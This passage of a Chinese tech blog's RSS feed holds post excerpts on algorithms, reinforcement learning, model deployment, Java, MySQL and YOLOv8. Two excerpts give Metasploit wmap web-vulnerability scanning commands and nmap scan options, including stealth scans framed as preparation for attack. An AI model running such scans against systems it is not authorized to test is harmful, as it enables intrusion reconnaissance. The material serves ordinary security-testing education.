      <link>https://bchobby.github.io/posts/c5c5c81b38fecfb43d27afff9cf817e7/</link>
      <pubDate>Sat, 23 Dec 2023 23:15:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c5c5c81b38fecfb43d27afff9cf817e7/</guid>
      <description>7-5 单源最短路径 请编写程序求给定正权有向图的单源最短路径长度。图中包含n个顶点，编号为0至n-1，以顶点0作为源点。&#xA;输入格式: 输入第一行为两个正整数n和e，分别表示图的顶点数和边数，其中n不超过20000，e不超过1000。接下来e行表示每条边的信息，每行为3个非负整数a、b、c，其中a和b表示该边的端点编号，c表示权值。各边并非按端点编号顺序排列。&#xA;输出格式: 输出为一行整数，为按顶点编号顺序排列的源点0到各顶点的最短路径长度（不含源点到源点），每个整数后一个空格。如源点到某顶点无最短路径，则不输出该条路径长度。&#xA;输入样例: 4 4 0 1 1 0 3 1 1 3 1 2 0 1 输出样例: 1 1 简化版代码 #include &amp;lt;iostream&amp;gt; #include &amp;lt;vector&amp;gt; #include &amp;lt;queue&amp;gt; #include &amp;lt;cstring&amp;gt; using namespace std; using PII = pair&amp;lt;int, int&amp;gt;; const int INF = 0x3f3f3f3f; const int N = 2e4 + 10; vector&amp;lt;pair&amp;lt;int, int&amp;gt;&amp;gt; mp[N]; bool vis[N]; int dis[N]; int main() { memset(dis, INF, sizeof dis); int n, m; scanf(&#34;</description>
    </item>
    <item>
      <title>强化学习（五）-Deterministic Policy Gradient (DPG) 算法及公式推导</title>
      <link>https://bchobby.github.io/posts/f5dfcf611dad5824dd7a2d85d9adbab6/</link>
      <pubDate>Sat, 23 Dec 2023 22:54:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5dfcf611dad5824dd7a2d85d9adbab6/</guid>
      <description>针对连续动作空间，策略函数没法预测出每个动作选择的概率。因此使用确定性策略梯度方法。&#xA;0 概览 1 actor输出确定动作2 模型目标：&#xA;actor目标：使critic值最大&#xA;critic目标： 使TD error最大3 改进：&#xA;使用两个target 网络减少TD error自举估计。 1 actor 和 critic 网络 确定性策略网络&#xA;actor: a= π ( s ; θ ) \pi(s;\theta) π(s;θ) 输出为确定性的动作a动作价值网络&#xA;critic Q=q(s,a;w) ,用于评估动作a的好坏 2 critic网络训练 观察一组数据 ( s t , a t , r t , s t + 1 ) (s_t,a_t,r_t,s_{t+1}) (st​,at​,rt​,st+1​)&#xA;即在状态 s t s_t st​时，执行动作 a t a_t at​,得到奖励 r t r_t rt​，和下一状态 s t + 1 s_{t+1} st+1​ a t 时刻 Q 值 : q t = q ( s t , a t , w ) a_t时刻Q值: q_t=q(s_t,a_t,w) at​时刻Q值:qt​=q(st​,at​,w) a t + 1 时刻 Q 值 : q t + 1 = q ( s t + 1 , a t + 1 , w ) a_{t+1}时刻Q值: q_{t+1}=q(s_{t+1},a_{t+1},w) at+1​时刻Q值:qt+1​=q(st+1​,at+1​,w) ，其中 a t + 1 = π ( s t + 1 ; θ ) a_{t+1}=\pi(s_{t+1};\theta) at+1​=π(st+1​;θ)</description>
    </item>
    <item>
      <title>Python 潮流周刊#32：打造个人的新闻聚合阅读器</title>
      <link>https://bchobby.github.io/posts/e821872c5b5631f90ba58c75deaabc7c/</link>
      <pubDate>Sat, 23 Dec 2023 22:51:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e821872c5b5631f90ba58c75deaabc7c/</guid>
      <description>△△请给“Python猫”加星标 ，以免错过文章推送&#xA;你好，我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容，大部分为英文。本周刊开源，欢迎投稿[1]。另有电报频道[2]作为副刊，补充发布更加丰富的资讯。&#xA;🐱产品推荐 本周刊由“Python猫”出品，这是一个以 Python 技术科普和分享为主的科技自媒体，欢迎关注同名公众号。品牌合作请私信联系。&#xA;🦄文章&amp;amp;教程 1、在并行程序中实际最多能用多少个 CPU？[3]&#xA;在 CPU 密集型任务中，通常要根据 CPU 核心数来设置线程/进程池的大小。但如何确定实际用多少个 CPU 最合适呢？物理 CPU 和逻辑 CPU 是什么？如何测试设置多少 CPU 数比较合适？&#xA;2、你的 Python 包都装到哪了？[4]&#xA;Python 新手经常会遇到包相关的问题，主要原因之一是不清楚 Python 是如何找包的。文章介绍了 Python 查找包的顺序、它是如何安装包的、虚拟环境的作用、脚本运行方式对搜索路径的影响等。&#xA;3、移除 CPython 中的私有 C API 函数[5]&#xA;Victor Stinner 是很活跃的核心开发者，他在 Python 3.13 alpha 1 中删除了 300 多个私有 C API 函数，收到了一些负面反馈，在 alpha 2 版本中又恢复了 50 个函数。文章记录他所做的事情，以及社区中大家的反馈。&#xA;4、Python 小陷阱：复制列表时的问题[6]&#xA;如何给 list 这种可变对象创建副本？对于一维列表，文章介绍了三种方法；但是对于二维列表，就涉及浅拷贝与深拷贝问题，需要使用 copy.deepcopy()。（附注：作者的“Python Gotcha”系列短文，介绍了 Python 的一些使用注意事项。）&#xA;5、取消 Asyncio 任务的最佳实践[7]</description>
    </item>
    <item>
      <title>Windows本地部署ChatGLM-6B模型并用CPU运行</title>
      <link>https://bchobby.github.io/posts/f2084fe3cbc6a0770635ea3d3714627a/</link>
      <pubDate>Sat, 23 Dec 2023 21:35:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2084fe3cbc6a0770635ea3d3714627a/</guid>
      <description>下载模型代码 git clone https://github.com/THUDM/ChatGLM2-6B&#xA;相关代码会下载到ChatGLM2-6B文件夹中&#xA;创建虚拟环境 cmd 打开 ChatGLM2-6B文件夹&#xA;python -m venv venv # 创建了一个叫做 venv 的虚拟环境，会出现一个 venv 的文件夹 venv\Scripts\activate.bat # 来激活虚拟环境，如果报错，就先cd到Scripts文件夹，执行activate.bat pip install -r requirements.txt -i https://pypi.douban.com/simple # 安装所需要的包 下载模型 https://huggingface.co/THUDM/chatglm-6b-int4&#xA;从这个网站上下载模型相关的文件&#xA;在ChatGLM2-6B文件夹下创建THUDM/chatglm-6b-int4文件夹，将下载的文件放到这个文件夹中&#xA;运行 from transformers import AutoTokenizer, AutoModel # 绝对路径 tokenizer = AutoTokenizer.from_pretrained(&#34;D:\ChatGLM\ChatGLM2-6B\THUDM\chatglm2-6b-int4&#34;, trust_remote_code=True) model = AutoModel.from_pretrained(&#34;D:\ChatGLM\ChatGLM2-6B\THUDM\chatglm2-6b-int4&#34;, trust_remote_code=True).float() model = model.eval() input = &#34;我该怎么训练你&#34; response, history = model.chat(tokenizer, input, history=[]) print(response) 运行结果 问题 1、报错 No module named ‘transformers_modules.</description>
    </item>
    <item>
      <title>[工具]java_sublime的快速使用</title>
      <link>https://bchobby.github.io/posts/311c8ab9d1ed93dec1dd0b45eed320db/</link>
      <pubDate>Sat, 23 Dec 2023 21:17:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/311c8ab9d1ed93dec1dd0b45eed320db/</guid>
      <description>目录&#xA;使用 :&#xA;怎么运行:&#xA;调整字体:&#xA;使用 : 新建---&amp;gt;写好代码后--&amp;gt;另存为尾缀是.java的文件&#xA;怎么运行: 在你另存为的目录下cmd调用控制台输入dos指令---&amp;gt;执行javac 文件名.java(有.java尾缀)(编译为.class文件)---&amp;gt;java 文件名(没有.class尾缀设计者认为执行的是文件名这个类)&#xA;(tips:控制台的文字编码格式是编码格式是gbk, 所以在sublime也要设置为gbk在保存, 避免打印的中文乱码)&#xA;调整字体: 首选项---&amp;gt;设置-用户---&amp;gt;调整&#34;font_size&#34;的值</description>
    </item>
    <item>
      <title>Web漏洞扫描技术之wmap</title>
      <link>https://bchobby.github.io/posts/c1172729827f620ef666ba58b6dc4e94/</link>
      <pubDate>Sat, 23 Dec 2023 17:42:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1172729827f620ef666ba58b6dc4e94/</guid>
      <description>Metasploit的一个模块，要使用wmap模块，必须载入Metasploit中，才可使用。（终端打开）&#xA;*如果初次使用，需要初始化并启动数据库：&#xA;msfdb init&#xA;msfdb start&#xA;（已启动）&#xA;运行 Metasploit 前，先启动用于存储扫描结果的数据库服务： service postgresql start&#xA;步骤&#xA;1.启动Metasploit，在msf中载入wmap的插件&#xA;利用wmap添加并查看已添加网站： wmap_sites -a &amp;lt;target&amp;gt; //添加&#xA;wmap_sites -l //查看&#xA;wmap_sites -d id号 //删除&#xA;wmap_targets -t ip //设置待扫描的目标主机&#xA;wmap_targets -l //查看&#xA;wmap_run -t //可用扫描模块&#xA;wmap_run -e //执行测试&#xA;wmap vulns -l //检查漏洞记录</description>
    </item>
    <item>
      <title>VSCode正则表达式替换</title>
      <link>https://bchobby.github.io/posts/05a8b6870e8f3196b72610ce0c4f507c/</link>
      <pubDate>Sat, 23 Dec 2023 17:42:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05a8b6870e8f3196b72610ce0c4f507c/</guid>
      <description>1. Visual Studio Code正则表达式替换样例 最近需要将一段代码里的所有args.parameter_name转化成args[“parameter_name”]，然而包含&#34;args.&#34;的关键词有一百多个，如果手动一个一个地去改，非常浪费时间，所以想到用正则表达式去替换&#xA;按下Ctrl+F弹出替换界面，点击’Abl’右边的星号图标，然后就可以采用正则表达式进行替换了。&#xA;然后点击左边的右箭头图标，可以看到，上面一行输入关键词的正则表达式，下面输入期望得到的替换结果正则表达式。&#xA;注意&#34;.&#34;需要转义符\将其从特殊符号变成普通的原始字符。&#xA;[a-z, _]是我的参数大概规律:只包含小写字母和_这两种字符类型; +是指重复这种字符多次。()是将需要这个关键词指定为参数，可用$number指代，number是()出现的顺序。&#xA;在下面一行里将对应的parameter_name用$1指代输入进去即可。&#xA;2. 2023.9.3 Update: DotMap in Python 最近突然发现，如果args是dict，在python里面有一种很简便的方法可以将dict转化类，并可以使用点获取(dot-access)方法访问元素。&#xA;安装Python dotmap包：&#xA;pip install dotmap&#xA;然后使用下面的代码将args转化为类：&#xA;import dotmap import DotMap args = {&#34;name&#34;:&#34;Bob&#34;} cls = DotMap(args) print(cls.name) # output: &#34;Bob&#34; 参考材料:&#xA;regular-expression in Visual Studio IDE DotMap usage</description>
    </item>
    <item>
      <title>STM32 MCU上显示器概述、分类、接口</title>
      <link>https://bchobby.github.io/posts/1a830f3cf6444d0f7fe9ff88ff306e0a/</link>
      <pubDate>Sat, 23 Dec 2023 17:22:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a830f3cf6444d0f7fe9ff88ff306e0a/</guid>
      <description>文章目录 前言一、显示模块分类二、显示技术三、显示接口标准四、LTDC控制器 前言 嵌入式显示器已经在现代嵌入式系统中变得至关重要，为各种应用领域提供了强大的用户界面和信息展示功能。从智能家居设备到医疗仪器，从工业控制系统到汽车内部控制面板，嵌入式显示器在提高用户体验、简化交互、增强可视化信息传达方面发挥着关键作用。&#xA;一、显示模块分类 显示模块主要分为两大类，取决于它们是否嵌入了内部控制器和GRAM。&#xA;第一类对应于具有显示屏控制器和GRAM的显示器，优点MCU无需频繁刷新，无需大内存，驱动简单&#xA;以正点原子屏幕举例，这种就是带显示屏控制器和GRAM的显示器&#xA;第二类对应的显示器，其显示屏没有主控制器，仅有低电平时序控制器。 MCU需要实时刷新，需要大内存，驱动稍微复杂&#xA;二、显示技术 1、LCD-TFT显示器（液晶显示器- 薄膜晶体管）：是一种LCD变体，它采用TFT技术提高了对每个像素的控制。得益于TFT技术，每个像素都可以通过晶体管进行控制，从而实现快速的响应时间和精确的色彩控制。&#xA;2、OLED显示器（有机LED）：像素由直接发光的有机LED组成，可以实现更好的对比度并优化功耗。LED技术可以使用柔性显示器，不再需要玻璃屏或背光源。响应时间非常快，视角不受任何光线偏振的影响。&#xA;区别：TFT和OLED技术中驱动显示模块的方式非常相似，它们的主要区别在于是否需要背光源，因为OLED不需要任何背光源。&#xA;三、显示接口标准 MIPI（移动行业处理器接口）联盟是一个致力于定义和推广移动设备接口规范的全球协作组织。MIPI联盟不仅开发了新标准，还将现有的显示接口进行了标准化。可分为两大类，MIPI-DBI(MIPI显示总线接口)、MIPI-DPI(MIPI显示并行接口)。&#xA;MIPI-DBI：是MIPI联盟发布的第一个显示标准，用来规定显示接口。MIPI-DBI中又定义了三类接口：A类：基于Motorola 6800总线，B类：基于Intel® 8080总线 用的很多，C类：基于SPI协议。MIPI-DBI用来与带有集成图形RAM（GRAM）的显示器进行连接，也就是上面提到的第一类屏幕。像素数据在显示器的本地GRAM中进行更新。也称为MCU接口。&#xA;MIPI-DPI：DPI用来与没有帧缓冲器的显示器进行连接。像素数据必须实时流式传输到显示器。其实时性能非常好，但它要求MCU具有大带宽以支持显示。也成为RGB接口&#xA;四、LTDC控制器 STM32微控制器上的LTDC是片上LCD显示控制器，可提供高达24位的并行数字RGB信号，以便与各种显示面板连接。LTDC还可以像AMOLED显示器一样使用并行RGB接口来驱动其他显示技术。LTDC可以连接既不嵌入控制器也不嵌入图形RAM的低成本显示面板。总结一句话，便宜。不用带控制器和RAM的屏幕。&#xA;整体框图：</description>
    </item>
    <item>
      <title>如何在Spring Boot中优雅地进行参数校验</title>
      <link>https://bchobby.github.io/posts/a98bc92720160c2ae0b1eeaf00cd3892/</link>
      <pubDate>Sat, 23 Dec 2023 17:16:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a98bc92720160c2ae0b1eeaf00cd3892/</guid>
      <description>1. 前言 在平时的开发工作中，我们通常需要对接口进行参数格式验证。当参数个数较少（个数小于3）时，可以使用if ... else ...手动进行参数验证。当参数个数大于3个时，使用if ... else ...进行参数验证就会让代码显得臃肿，这个时候推荐使用注解来进行参数验证。&#xA;在Java中，注解（Annotation）是一种代码标记，通常用于提供元数据，这些元数据可以被编译器或运行时环境使用。这些注解通常用于框架和库中，以实现更加灵活和可配置的代码。&#xA;2. 常用注解描述 @NotNull&#xA;描述：标记一个值不能为null。示例： public class User { @NotNull private String name; // ... } @NotEmpty&#xA;描述：标记一个集合（如List、Set等）不能为空。示例： public class User { @NotEmpty private List&amp;lt;String&amp;gt; interests; // ... } @NotBlank&#xA;描述：标记一个字符串不能为空白（即null、空字符串或只包含空格）。示例： public class User { @NotBlank private String username; // ... } @Size&#xA;描述：标记一个字符串或集合的大小必须在指定的范围内。示例： public class User { @Size(min = 2, max = 50) private String username; // ... } @Min 和 @Max</description>
    </item>
    <item>
      <title>nmap以及Windows和Linux常见命令</title>
      <link>https://bchobby.github.io/posts/447f128e27fe0ce0ac943b017d72b941/</link>
      <pubDate>Sat, 23 Dec 2023 16:45:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/447f128e27fe0ce0ac943b017d72b941/</guid>
      <description>一、网络扫描-nmap 1.功能介绍 找出目标主机或目标设备开放的端口和提供的服务，为下一步攻击做好准备。&#xA;发现主机或端口扫描&#xA;2.各种参数 -sL: List Scan 列表扫描，仅将指定的目标的IP列举出来，不进行主机发现。 -sn: Ping Scan 只进行主机发现，不进行端口扫描。 -Pn: 跳过主机发现而进行端口扫描等高级操作。 -PS/PA/PU/PY[portlist]: 使用TCP SYN/ACK或SCTP INIT/ECHO方式进行主机发现。&#xA;-sS/sT/sA/sW:指定使用 TCP SYN/Connect()/ACK/Window方式来对目标主机进行扫描。&#xA;-sU: 使用UDP扫描方式确定目标主机的UDP端口。 -sN/sF/sX: 指定使用TCP Null, FIN, and Xmas scans秘密扫描方式来协助探测对方的TCP端口状态。 -sF 不受防火墙和IDS的限制 --scanflags &amp;lt;flags&amp;gt;: 定制TCP包的flags。 -sO: 使用IP protocol 扫描确定目标机支持的协议类型。 -p &amp;lt;port ranges&amp;gt;: 扫描指定的端口 实例: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9（其中T代表TCP协议、U代表UDP协议、S代表SCTP协议） -F: Fast mode 快速模式，仅扫描TOP 100的端口 -r: 按端口有序扫描（如无该参数，随机顺序方式扫描端口）&#xA;3.Nmap所识别的6个端口状态： Open端口是开放的Closed端口是关闭的filtered端口被防火墙IDS/IPS屏蔽，无法确定其状态unfiltered端口没有被屏蔽，但是否开放需要进一步确定open|filtered端口是开放的或被屏蔽closed|filtered端口是关闭的或被屏蔽 4.SYN扫描 （-sS）半开放扫描 nmap -sS IP地址&#xA;发送SYN到目标端口，如果收到SYN/ACK回复，端口是开放的； 如果收到RST包，说明该端口是关闭的。 如果没有收到回复，判断该端口被屏蔽（Filtered，防火墙）。 仅发送SYN包到目标主机的特定端口，不建立的完整的TCP连接，相对比较隐蔽，效率比较高，适用范围广。&#xA;5.TCP扫描 （-sT）全扫描 三次握手 nmap -sT IP地址</description>
    </item>
    <item>
      <title>Mysql数据库数据结构</title>
      <link>https://bchobby.github.io/posts/d0ffc5a6942fa52ff6bb9ec84bd3b822/</link>
      <pubDate>Sat, 23 Dec 2023 16:42:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0ffc5a6942fa52ff6bb9ec84bd3b822/</guid>
      <description>MySQL索引定义：索引（Index） 是帮助MySQL高效获取数据的数据结构。 提取句子主干， 就可以得到索引的本质： 索引是数据结构。&#xA;大部分数据库系统及文件系统都采用B-Tree或其变种B+Tree作为索引结构&#xA;数据结构具体应用场景： 数据库是如何做到快速检索的功能。&#xA;特别有意思的小例子。&#xA;mysql索引原理的理解和数据结构 数据结构 B+树（为什么使用B+数）&#xA;所有数据都存储在磁盘中，读取数据由于IO问题会读取慢，如何加快IO速度 IO 量：减少IO量&#xA;*禁止使用slect ，避免增加不必要的量次数：减少IO次数 相关知识点 加入索引（加快查询速度）数据结构设计：key、文件编号、当前文件的offset（存在问题：当数据量特别大时，索引所占用的存储空间也特别大。）解决方法：索引的数据文件也需要持久化存储到磁盘中，当需要使用时直接读取到内存中，加快数据的访问（分而治之：分块读取）操作系统基本概念：&#xA;1.局部性原理：数据和程序都有聚集成群的倾向，之前被查询过的数据很快会再次被查询。冷热数据（一级缓存，二级缓存的意思）&#xA;2.磁盘预读：在数据交换时，会有一个基本逻辑单位页，一般占用空间是4k，每次在进行数据获取时可以获取整页的整数倍。（mysql中innodb的存储引擎读取数据会读取16k show variables like ‘%innodb’） ket-value格式数据结构存储： 哈希表树（二叉树、BST、AVL、红黑树、B树、B+树）&#xA;二分支的缺点：深度太深，解决方法：B树（多叉树） B树 搜索树多节点多分支的数&#xA;问题：假设磁盘块存放16条数据，如果是三层树，最多存放的数据：161616=4096，即48k才存放4096条数据&#xA;B数存在问题：存放了数据，依然占用空间，如何减少数据，需要用到B+数&#xA;B+树 最下面的叶子节点存放的是顺序全量数据非叶子节点可以不用存放data&#xA;问题：读取数据，假设三层树48k磁盘块，1000字节为1kb，指针和键值占10字节，1行记录1k 161000/10=160016001600=40960000的数据范围，即Key键值，最下面的只存放一遍数据*建索引时，key要尽可能少的占用空间&#xA;索引技术名词 **回表：**从非聚簇索引跳转到聚簇索引中查找数据的过程（避免回表操作select * from table ）&#xA;索引覆盖当非聚簇索引的叶子节点中包含了查询需要的所有字段时，不需要回表的过程（推荐使用select id,name from table ）&#xA;最左匹配:、索引下推</description>
    </item>
    <item>
      <title>超维空间S2无人机使用说明书——31、使用yolov8进行目标识别</title>
      <link>https://bchobby.github.io/posts/5a6211e42872cbe39795f884e4e97895/</link>
      <pubDate>Sat, 23 Dec 2023 16:33:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a6211e42872cbe39795f884e4e97895/</guid>
      <description> 引言：为了提高yolo识别的质量，提高了yolo的版本，改用yolov8进行物体识别，同时系统兼容了低版本的yolo，包括基于C++的yolov3和yolov4，以及yolov7。 简介，为了提高识别速度，系统采用了GPU进行加速，在使用7W功率的情况，大概可以稳定在20FPS，满功率情况下可以适当提高。 硬件：D435摄像头，Jetson orin nano 8G 环境：ubuntu20.04，ros-noetic, yolov8 步骤一： 启动摄像头，获取摄像头发布的图像话题 roslaunch realsense2_camera rs_camera.launch 没有出现红色报错，出现如下界面，表明摄像头启动成功 步骤二：启动yolov8识别节点 roslaunch yolov8_ros yolo_v8.launch launch文件如下，参数use_cpu设置为false，因为实际使用GPU加速，不是CPU跑，另外参数pub_topic是yolov8识别到目标后发布出来的物体在镜头中的位置，程序作了修改，直接给出目标物的中心位置，其中参数image_topic是订阅的节点话题，一定要与摄像头发布的实际话题名称对应上。 &amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;launch&amp;gt; &amp;lt;!-- Load Parameter --&amp;gt; &amp;lt;param name=&#34;use_cpu&#34; value=&#34;false&#34; /&amp;gt; &amp;lt;!-- Start yolov8 and ros wrapper --&amp;gt; &amp;lt;node pkg=&#34;yolov8_ros&#34; type=&#34;yolo_v8.py&#34; name=&#34;yolov8_ros&#34; output=&#34;screen&#34; &amp;gt; &amp;lt;param name=&#34;weight_path&#34; value=&#34;$(find yolov8_ros)/weights/yolov8n.pt&#34;/&amp;gt; &amp;lt;param name=&#34;image_topic&#34; value=&#34;/camera/color/image_raw&#34; /&amp;gt; &amp;lt;param name=&#34;pub_topic&#34; value=&#34;/object_position&#34; /&amp;gt; &amp;lt;param name=&#34;camera_frame&#34; value=&#34;camera_color_frame&#34;/&amp;gt; &amp;lt;param name=&#34;visualize&#34; value=&#34;false&#34;/&amp;gt; &amp;lt;param name=&#34;conf&#34; value=&#34;0.3&#34; /&amp;gt; &amp;lt;/node&amp;gt; &amp;lt;/launch&amp;gt; 出现如下界面表示yolov8启动成功 步骤三：打开rqt工具，查看识别效果 rqt_image_view 等待出现如下界面后，选择yolov8/detection_image查看yolov8识别效果 从图中可以看出，在7W功率的情况下，大概在18帧的效果，识别准确度比较高 </description>
    </item>
    <item>
      <title>【水文专业词汇】气象水文、水利工程等</title>
      <link>https://bchobby.github.io/posts/b94adab8373a1d44aa162dc81330e503/</link>
      <pubDate>Sat, 23 Dec 2023 16:16:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b94adab8373a1d44aa162dc81330e503/</guid>
      <description> 水文专业词汇：气象水文、水利工程等 气象水文类水循环过程地区分类 水利工程类跨流域调水工程 参考 气象水文类 水循环过程 中文英文降水/降雨precipitation/rainfall径流runoff/streamflow产汇流runoff generation 地区分类 中文英文雨养作物区rain-fed agricultural region 水利工程类 跨流域调水工程 Water Diversion Project&#xA;Water Transfer Project&#xA;Water Supply Project&#xA;举例：&#xA;工程名翻译南水北调工程the South to North Water Diversion Project (SNWDP)引汉济渭工程the Hanjiang to Weihe River Water Diversion Project (HWRWDP)引江济汉工程the Yangtze River to Han River Water Transfer Project引洮供水工程Tao River Water Diversion Project 参考 </description>
    </item>
    <item>
      <title>linux基础06—windows下打不开wsl的ubuntu的子系统</title>
      <link>https://bchobby.github.io/posts/702f1c475ee28ec4988bb9a70456b6db/</link>
      <pubDate>Sat, 23 Dec 2023 14:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/702f1c475ee28ec4988bb9a70456b6db/</guid>
      <description>一小时前还好好的，然后就打不开了，显示如下白板：&#xA;（1）检查wsl&#xA;命令行输入：wsl -l -v 看是否有反应，如下所示：&#xA;ctrl+c退出，如果问题是控制流保护(Control Flow Guard)导致的，解决办法如下： （win10版本的话）&#xA;将控制流保护改为默认关闭。 （win11版本的话）&#xA;搞定之后，重启计算机。再打开wsl即可。</description>
    </item>
    <item>
      <title>企业用户搭建和部署自己的网站，要如何选择服务器的配置呢？</title>
      <link>https://bchobby.github.io/posts/2841eb9cec2702508e4cbf45482aead1/</link>
      <pubDate>Sat, 23 Dec 2023 14:24:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2841eb9cec2702508e4cbf45482aead1/</guid>
      <description>企业用户搭建和部署自己的网站，要如何选择服务器的配置呢？&#xA;Web服务器是网站搭建的必备，有了Web服务器，网站的页面才能够让全世界各地的用户浏览访问到。据业内数据统计了解，大约有90%的用户选择租用服务器，主要是为了搭建和部署自己的网站。用户想要搭建网站，就必须要用到服务器。那么，企业用户搭建和部署自己的网站，要如何选择服务器的配置呢？&#xA;选择服务器的配置，主要参考这几个因素：CPU，内存，硬盘，带宽，网络线路，操作系统和区域节点。&#xA;1、首先，CPU的性能，决定了服务器的运算能力和处理能力。如果网站流量较大，动态页面比较多，建议选择8核以上的CPU。目前的IDC服务商、云计算服务商提供的云服务器，配置可以随时升级和增加。当你的业务量增长了、业务范围扩大了，需要更强的运算能力和处理能力，可以随时联系IDC服务商、云计算服务商进行配置升级和资源扩充。</description>
    </item>
    <item>
      <title>第十二讲 打包Debug 及Release</title>
      <link>https://bchobby.github.io/posts/c6e24c7052f84df2f4537fe669286d55/</link>
      <pubDate>Sat, 23 Dec 2023 13:20:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6e24c7052f84df2f4537fe669286d55/</guid>
      <description>注意: 本实例仅对单配置生成器有效，对多配置生成器无效（比如说Visual Studio）。&#xA;默认条件下，CMake的模型是一个build目录仅包含一个配置，它可以是Debug、Release、MinSizeRel或RelWithDebInfo。但是，设置CPack来绑定多个build目录，以构建同一工程的多个配置是可行的。&#xA;首先，我们需要确保debug和release所构建和使用的库具有不同的名字，可以用名字前缀来区分。&#xA;在顶层 CMakeLists.txt文件中，设置CMAKE_DEBUG_POSTFIX ：&#xA;CMakeLists.txt&#xA;set(CMAKE_DEBUG_POSTFIX d) add_library(tutorial_compiler_flags INTERFACE) 还有，为tutorial 添加 DEBUG_POSTFIX 属性：&#xA;CMakeLists.txt&#xA;add_executable(Tutorial tutorial.cxx) set_target_properties(Tutorial PROPERTIES DEBUG_POSTFIX ${CMAKE_DEBUG_POSTFIX}) target_link_libraries(Tutorial PUBLIC MathFunctions tutorial_compiler_flags) 为MathFunctions 库也加上版本号。在MathFunctions/CMakeLists.txt, 设置 VERSION 和SOVERSION 属性：&#xA;MathFunctions/CMakeLists.txt&#xA;set_property(TARGET MathFunctions PROPERTY VERSION &#34;1.0.0&#34;) set_property(TARGET MathFunctions PROPERTY SOVERSION &#34;1&#34;) 在 Step12 目录下，创建两个子目录，分别命名为debug 和release 。目录层级变成：&#xA;- Step12 - debug - release 现在，我们需要分别设置debug和release的工程环境。我们可以用 CMAKE_BUILD_TYPE 属性来区分：&#xA;cd debug cmake -DCMAKE_BUILD_TYPE=Debug .. cmake --build . cd ../release cmake -DCMAKE_BUILD_TYPE=Release .</description>
    </item>
    <item>
      <title>每日一题：给定一个字符串s，请你找出其中不含有重复字符得最长子串的长度</title>
      <link>https://bchobby.github.io/posts/67b1d7dd4837ca7d463877833df4748f/</link>
      <pubDate>Sat, 23 Dec 2023 11:31:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/67b1d7dd4837ca7d463877833df4748f/</guid>
      <description> 每日一题：给定一个字符串s，请你找出其中不含有重复字符得最长子串的长度 function getLongSubstring(s){ let map = new Map(); let max = 0; let left = 0; for(let i=0;i&amp;lt;s.length;i++){ if(map.has(s[i]) &amp;amp;&amp;amp; map.get(s[i])&amp;gt;=left){ left = map.get(s[i])+1; } map.set(s[i],i); max = Math.max(max,i-left+1); } console.log(map); return max; } let s = &#39;asssddddffffsssssssabc&#39;; let l = getLongSubstring(s); console.log(l); </description>
    </item>
    <item>
      <title>OpenAI GPTs 到底是怎么工作的？</title>
      <link>https://bchobby.github.io/posts/003b5b27b053a84bb45088e203788fee/</link>
      <pubDate>Sat, 23 Dec 2023 11:26:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/003b5b27b053a84bb45088e203788fee/</guid>
      <description>▼最近直播超级多，预约保你有收获&#xA;今晚直播：《GPTs 构建应用程序案例实现》&#xA;—1—&#xA;GPTs 是如何工作的？&#xA;OpenAI 官方对 GPTs 的定义是，用户为特定目的创建的 ChatGPT 版本。&#xA;GPTs 结合了技能说明、外部知识库和目前可见的 GPT 的任意技能组合，可针对特定版本的 ChatGPT 提供特定功能，比如帮教孩子数学或者设计贴纸、学习棋盘游戏、搜索资源、数据分析等。&#xA;要构建一个 GPTs 也非常简单，可以不用代码，只需与 GPT Builder（OpenAI推出的 GPTs 创建器）进行对话，并为其提供说明和其他知识，再选择 GPTs 能够执行的搜索网络、制作图像、分析数据等操作，一个 GPTs 就创建完成了。&#xA;程序员还可以用 Assistants API 构建功能更多更专业的 GPTs，这些才有可能成为企业级 Agent 应用。&#xA;Assistants API 是 OpenAI 面向 Agents 领域的一次重要更新，通过该 API，你可以在线创建具备自主规划、工具使用与记忆能力的 AI Agent，通过自然语言输入问题与上传文件，实现自主的交互式。Assistants API 实现的基本架构如下：&#xA;这里有3个核心概念 Assistant、Thread、Run。&#xA;Assistant 代表了 AI 助理，Thread 则代表 Assistant 与用户的会话，Run 则是一次“人机交互”。&#xA;在 Assistants API 的使用中，理论上是一个异步的调用过程。提交一个 Run后，通过 API 轮询状态，直到完成再获取/检索 Assistants 的消息，也就是通常所说的大模型的回答。&#xA;Assistant 一个具体指令（instructions），可以利用大模型、工具（tools）和知识来响应用户的查询。</description>
    </item>
    <item>
      <title>谷歌浏览器网页翻译失效，无法翻译成中文，且谷歌翻译api报404问题</title>
      <link>https://bchobby.github.io/posts/075ede2d109bd116076ef41a304466ce/</link>
      <pubDate>Sat, 23 Dec 2023 11:17:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/075ede2d109bd116076ef41a304466ce/</guid>
